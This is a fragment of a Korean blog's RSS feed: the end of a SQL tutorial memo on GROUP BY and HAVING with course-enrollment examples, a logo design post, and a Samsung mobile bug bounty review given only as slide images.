&lt;li&gt;&lt;span&gt;컬럼값이&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;같은&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;것들을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;묶어&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;집계함수를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;적용&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;사용&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;예시&lt;/span&gt;&lt;span&gt; 1 : &lt;/span&gt;&lt;span&gt;학과별로&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;개설된&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;과목의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;개수를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;구하라&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;select dept, count(*) as &lt;/span&gt;&lt;span&gt;과목수&lt;/span&gt;&lt;span&gt;from COURSE group by dept;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;사용&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;예시&lt;/span&gt;&lt;span&gt; 2 : &lt;/span&gt;&lt;span&gt;과목별로&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;기말고사의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;평균을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;구하라&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;select cno, avg(finterm) as &lt;/span&gt;&lt;span&gt;기말평균&lt;/span&gt;&lt;span&gt;from ENROL group by cno;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;having &lt;/span&gt;&lt;span&gt;절&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;그룹에&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;대해&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;조건식을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;적용&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;group by &lt;/span&gt;&lt;span&gt;절에&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;없는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;경우에도&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;전체&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;테이블이&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;대상&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;사용&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;예시&lt;/span&gt;&lt;span&gt; : 3&lt;/span&gt;&lt;span&gt;명이상&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;수강하는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;과목의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;기말평균을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;계산하라&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;select cno, avg(finterm) as &lt;/span&gt;&lt;span&gt;기말평균&lt;/span&gt;&lt;span&gt; from ENROL group by cno having count(*) &amp;gt;= 3;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Memo</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/238</guid>
      <comments>https://netking.tistory.com/238#entry238comment</comments>
      <pubDate>Sat, 17 Oct 2020 18:04:35 +0900</pubDate>
    </item>
    <item>
      <title>Long_Live_The_King BI ver.2009</title>
      <link>https://netking.tistory.com/235</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;Long_Live_The_King.png&quot; data-origin-width=&quot;895&quot; data-origin-height=&quot;844&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qXzqf/btqJCSYOPGL/4k0szO3lmpAmtBLK9aKJS1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qXzqf/btqJCSYOPGL/4k0szO3lmpAmtBLK9aKJS1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qXzqf/btqJCSYOPGL/4k0szO3lmpAmtBLK9aKJS1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqXzqf%2FbtqJCSYOPGL%2F4k0szO3lmpAmtBLK9aKJS1%2Fimg.png&quot; data-filename=&quot;Long_Live_The_King.png&quot; data-origin-width=&quot;895&quot; data-origin-height=&quot;844&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>Design</category>
      <author>NetKingJ</author>
      <guid isPermaLink="true">https://netking.tistory.com/235</guid>
      <comments>https://netking.tistory.com/235#entry235comment</comments>
      <pubDate>Fri, 25 Sep 2020 20:35:48 +0900</pubDate>
    </item>
    <item>
      <title>Samsung Molibe Platform BugBounty Review</title>
      <link>https://netking.tistory.com/226</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;슬라이드1.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QFOvp/btq2XbLdj93/Ax6SacoZZk9iz50vAct7h1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QFOvp/btq2XbLdj93/Ax6SacoZZk9iz50vAct7h1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QFOvp/btq2XbLdj93/Ax6SacoZZk9iz50vAct7h1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQFOvp%2Fbtq2XbLdj93%2FAx6SacoZZk9iz50vAct7h1%2Fimg.jpg&quot; data-filename=&quot;슬라이드1.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;슬라이드2.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bkX1Ud/btq2Ndc2lZj/RfPWnG1NbO2rehGpjks4h1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bkX1Ud/btq2Ndc2lZj/RfPWnG1NbO2rehGpjks4h1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bkX1Ud/btq2Ndc2lZj/RfPWnG1NbO2rehGpjks4h1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbkX1Ud%2Fbtq2Ndc2lZj%2FRfPWnG1NbO2rehGpjks4h1%2Fimg.jpg&quot; data-filename=&quot;슬라이드2.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;슬라이드3.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oO0B9/btq2XiKjUEq/DH4rGHzpxlLotQJK6stfEK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oO0B9/btq2XiKjUEq/DH4rGHzpxlLotQJK6stfEK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oO0B9/btq2XiKjUEq/DH4rGHzpxlLotQJK6stfEK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoO0B9%2Fbtq2XiKjUEq%2FDH4rGHzpxlLotQJK6stfEK%2Fimg.jpg&quot; data-filename=&quot;슬라이드3.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;슬라이드4.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c0NGAg/btq2NVv8WZg/qHBWAuR9CwVkzopb0sCe5K/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c0NGAg/btq2NVv8WZg/qHBWAuR9CwVkzopb0sCe5K/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c0NGAg/btq2NVv8WZg/qHBWAuR9CwVkzopb0sCe5K/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc0NGAg%2Fbtq2NVv8WZg%2FqHBWAuR9CwVkzopb0sCe5K%2Fimg.jpg&quot; data-filename=&quot;슬라이드4.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;슬라이드5.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ogSTl/btq2XknP75D/kRdGPlr3aAEUkyNsEJPn4K/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ogSTl/btq2XknP75D/kRdGPlr3aAEUkyNsEJPn4K/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ogSTl/btq2XknP75D/kRdGPlr3aAEUkyNsEJPn4K/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FogSTl%2Fbtq2XknP75D%2FkRdGPlr3aAEUkyNsEJPn4K%2Fimg.jpg&quot; data-filename=&quot;슬라이드5.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;슬라이드6.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TJQVt/btq2Oo5U64v/0G7NkLB82fUcN2XS8Ol3kk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TJQVt/btq2Oo5U64v/0G7NkLB82fUcN2XS8Ol3kk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TJQVt/btq2Oo5U64v/0G7NkLB82fUcN2XS8Ol3kk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTJQVt%2Fbtq2Oo5U64v%2F0G7NkLB82fUcN2XS8Ol3kk%2Fimg.jpg&quot; data-filename=&quot;슬라이드6.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;슬라이드7.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/djud89/btq2P3UJhbx/wRa36BLpybagHsZOU6xelk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/djud89/btq2P3UJhbx/wRa36BLpybagHsZOU6xelk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/djud89/btq2P3UJhbx/wRa36BLpybagHsZOU6xelk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdjud89%2Fbtq2P3UJhbx%2FwRa36BLpybagHsZOU6xelk%2Fimg.jpg&quot; data-filename=&quot;슬라이드7.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;슬라이드8.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dV0PTL/btq2NVQq9od/sKtqff5pVwWZhwUB4S4XR0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dV0PTL/btq2NVQq9od/sKtqff5pVwWZhwUB4S4XR0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dV0PTL/btq2NVQq9od/sKtqff5pVwWZhwUB4S4XR0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdV0PTL%2Fbtq2NVQq9od%2FsKtqff5pVwWZhwUB4S4XR0%2Fimg.jpg&quot; data-filename=&quot;슬라이드8.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;슬라이드9.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bLKMZx/btq2M14GaAG/zdNO1N2daszNIRYGkkhwpK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bLKMZx/btq2M14GaAG/zdNO1N2daszNIRYGkkhwpK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bLKMZx/btq2M14GaAG/zdNO1N2daszNIRYGkkhwpK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbLKMZx%2Fbtq2M14GaAG%2FzdNO1N2daszNIRYGkkhwpK%2Fimg.jpg&quot; data-filename=&quot;슬라이드9.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;슬라이드10.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bjNK3G/btq2NzGRJF8/a0ylyKgYLCT7XdwwD5NeyK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bjNK3G/btq2NzGRJF8/a0ylyKgYLCT7XdwwD5NeyK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bjNK3G/btq2NzGRJF8/a0ylyKgYLCT7XdwwD5NeyK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbjNK3G%2Fbtq2NzGRJF8%2Fa0ylyKgYLCT7XdwwD5NeyK%2Fimg.jpg&quot; data-filename=&quot;슬라이드10.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;슬라이드11.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uUzoc/btq2Mwc1KXj/sfH1ck2AgmSWynP9d83H8k/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uUzoc/btq2Mwc1KXj/sfH1ck2AgmSWynP9d83H8k/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uUzoc/btq2Mwc1KXj/sfH1ck2AgmSWynP9d83H8k/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuUzoc%2Fbtq2Mwc1KXj%2FsfH1ck2AgmSWynP9d83H8k%2Fimg.jpg&quot; data-filename=&quot;슬라이드11.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;슬라이드12.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bDTBiR/btq2NpYwX9T/BkwrKOz6ZKMU6OLmVtsGsK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bDTBiR/btq2NpYwX9T/BkwrKOz6ZKMU6OLmVtsGsK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bDTBiR/btq2NpYwX9T/BkwrKOz6ZKMU6OLmVtsGsK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbDTBiR%2Fbtq2NpYwX9T%2FBkwrKOz6ZKMU6OLmVtsGsK%2Fimg.jpg&quot; data-filename=&quot;슬라이드12.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;슬라이드13.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/9KaVN/btq2M23yLLJ/rtEqLN6QZAz0FfyWLk6tqK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/9KaVN/btq2M23yLLJ/rtEqLN6QZAz0FfyWLk6tqK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/9KaVN/btq2M23yLLJ/rtEqLN6QZAz0FfyWLk6tqK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F9KaVN%2Fbtq2M23yLLJ%2FrtEqLN6QZAz0FfyWLk6tqK%2Fimg.jpg&quot; data-filename=&quot;슬라이드13.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;슬라이드14.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/clipmq/btq2NzmwSJI/LZdvTc1iygX3sjdpSkvbQK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/clipmq/btq2NzmwSJI/LZdvTc1iygX3sjdpSkvbQK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/clipmq/btq2NzmwSJI/LZdvTc1iygX3sjdpSkvbQK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fclipmq%2Fbtq2NzmwSJI%2FLZdvTc1iygX3sjdpSkvbQK%2Fimg.jpg&quot; data-filename=&quot;슬라이드14.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;슬라이드15.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yF8NM/btq2M1Q7O8K/3xbLIyvabQ8pQp4LMRpNZk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yF8NM/btq2M1Q7O8K/3xbLIyvabQ8pQp4LMRpNZk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yF8NM/btq2M1Q7O8K/3xbLIyvabQ8pQp4LMRpNZk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyF8NM%2Fbtq2M1Q7O8K%2F3xbLIyvabQ8pQp4LMRpNZk%2Fimg.jpg&quot; data-filename=&quot;슬라이드15.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;슬라이드16.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmVsru/btq2NVJECw6/r89aMJXUqVLche0DtfkdCk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmVsru/btq2NVJECw6/r89aMJXUqVLche0DtfkdCk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmVsru/btq2NVJECw6/r89aMJXUqVLche0DtfkdCk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbmVsru%2Fbtq2NVJECw6%2Fr89aMJXUqVLche0DtfkdCk%2Fimg.jpg&quot; data-filename=&quot;슬라이드16.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;슬라이드17.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JBrdV/btq2P4lPRA1/0RbJjyHof9Qodbm32nakG1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JBrdV/btq2P4lPRA1/0RbJjyHof9Qodbm32nakG1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JBrdV/btq2P4lPRA1/0RbJjyHof9Qodbm32nakG1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJBrdV%2Fbtq2P4lPRA1%2F0RbJjyHof9Qodbm32nakG1%2Fimg.jpg&quot; data-filename=&quot;슬라이드17.JPG&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;720&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
